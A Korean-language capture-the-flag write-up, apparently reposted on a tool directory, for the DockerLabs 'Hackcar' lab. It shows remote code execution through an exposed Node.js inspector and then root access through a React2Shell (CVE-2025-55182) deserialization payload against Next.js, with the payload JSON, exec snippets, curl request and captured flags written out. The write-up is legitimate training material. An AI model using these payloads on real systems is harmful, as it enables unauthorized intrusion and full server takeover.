Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hackcar-writeup — 작성 노트: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
도구/GitHubGitHub/iapetus12/hackcar-writeup
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & EducationRed TeamingLabs & PracticeArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

작성 노트: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

13시간 16분 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Hackcar - Writeup

플랫폼: DockerLabs 난이도: 중간 (대략, 나름 까다로움) 목표: webuser에서 root로, Next.js를 깨부수기


시작: 정찰

언제나 그렇듯, 먼저 눈앞에 뭐가 있는지 봐야 한다.

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

잠깐... 9229? 이 포트는 정상이 아니다. 그리고 전체 스캔을 돌려보니 포트가 딱 두 개뿐이다:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

9229는 전형적인 Node.js inspector (디버거) 포트다. 보호 없이 노출되어 있다면, 사실상 코드 실행으로 통하는 열린 문이나 다름없다. 확인해보자.

root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

됐다. Node 디버거가 인증 없이 노출되어 있고, 게다가 앱이 어디 사는지까지 알려준다. 이건 바로 RCE다.


1단계: Node.js Inspector를 통한 RCE

디버거가 노출되어 있으니, WebSocket에 연결해서 Runtime.evaluate로 Node 프로세스 안에서 원하는 걸 실행하기만 하면 된다.

디버거 URL을 뽑아내고 process.mainModule.require('child_process').execSync()로 명령을 실행하는 빠른 Python 스크립트를 만들었다:

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

따옴표랑 싸우지 않으려고, 명령 전체를 base64로 보내고 프로세스 안에서 디코딩한다. 첫 테스트:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

webuser로서 RCE. 머신을 손에 넣은 거나 다름없다... 그렇게 생각했다. 알고 보니 진짜 알짜배기는 더 숨겨져 있었다.

머신에서 뭐가 더 돌고 있는지 프로세스를 보자:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

주목! Next.js 버전 15.0.0-rc.1이 ROOT로 포트 3000에서 돌고 있다 (localhost만). 이건 권한 상승 냄새... 그리고 CVE 냄새가 난다.

컨테이너 안에서 127.0.0.1에만 바인딩되어 있으니 밖에서는 건드릴 수 없다. 하지만 RCE가 있으니 안에서 접근할 수 있다. 먼저 이게 뭔지 보자:

root@kitploit:~
curl -s http://127.0.0.1:3000/

"Internal Administration Portal" — 내부 관리 포털이 나타난다. 아주 군침 도는 물건이다.

user 플래그는 금방 찾았다:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

이제 그 Next.js를 통해 root로 권한 상승할 차례다.


2단계: React2Shell (CVE-2025-55182)

버전은 Next.js 15.0.0-rc.1이고, 이는 유명한 React2Shell (CVE-2025-55182) 에 취약한 React 19를 사용한다: RSC 파서(React Server Components / Flight 프로토콜)의 프로토타입 오염을 통한 치명적 RCE (CVSS 10.0)다.

익스플로잇은 Next-Action 헤더가 붙은 잘못된 형식의 multipart/form-data로, React 파서가 오염된 객체를 역직렬화하게 만들어 결국 우리 코드로 Function 생성자를 호출하게 한다:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<실행할 JS 코드>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

즉: Chunk.prototype.then을 오염시키고, 파서가 우리 모델을 로드하며, 프로미스를 해결할 때 우리 JavaScript가 root로 실행되는 Next.js 프로세스 안에서 실행된다.

출력을 빼내기 위해 "redirect" 모드를 사용했다: 코드가 명령을 실행하고, 결과를 base64로 인코딩해서 Error의 digest 속성에 넣으면, Next.js가 이를 헤더로 반환한다:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

최종 요청:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

서버는 500으로 응답하고 (정상이다, 의도된 에러다), 헤더에:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

디코딩하자:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

우리가 ROOT다. 그리고 플래그:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

공격 요약

root@kitploit:~
nmap
 └─ 8080 (Express 웹, 정적, 그냥 연막)
 └─ 9229 (Node.js inspector 노출)
      └─ Runtime.evaluate를 통한 webuser로서 RCE
           └─ 열거: 127.0.0.1:3000에서 ROOT로 돌아가는 Next.js 15.0.0-rc.1
                └─ CVE-2025-55182 (React2Shell): root RCE
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

플래그:

파일플래그
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

취약점 (왜 이렇게 됐나)

#취약점CWE우리가 얻은 것
1인증 없는 Node.js inspector (포트 9229)CWE-284webuser로서 RCE
2구버전 Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502root로서 RCE

교훈:

  • Node 디버거를 프로덕션에 노출하지 마라 ("내부" 네트워크라도 마찬가지다).
  • 의존성을 업데이트하라. 이 Next.js는 알려진 치명적 CVE를 몇 달째 달고 있다.
  • 프로세스가 이미 침해된 상태라면 서비스를 localhost에만 바인딩하지 마라: webuser는 localhost:3000에 접근할 수 있었다.
  • DockerLabs는 언제나 배우기 위한 것이지, 실제 환경에서 헤매라는 게 아니다 ;)

도구

도구용도
nmap포트 정찰
curl웹 열거 및 익스플로잇 발사
websocket-client (Python)Node inspector와 통신
jadx이전 머신 (여기선 아님, 그래도 여전히 멋지다고 생각한다)
base64따옴표 문제 없이 페이로드 전송

교육 목적의 Writeup. 권한이 있는 머신에서만 건드려라 (DockerLabs, HTB, 자기 자신의 랩).

도구 다운로드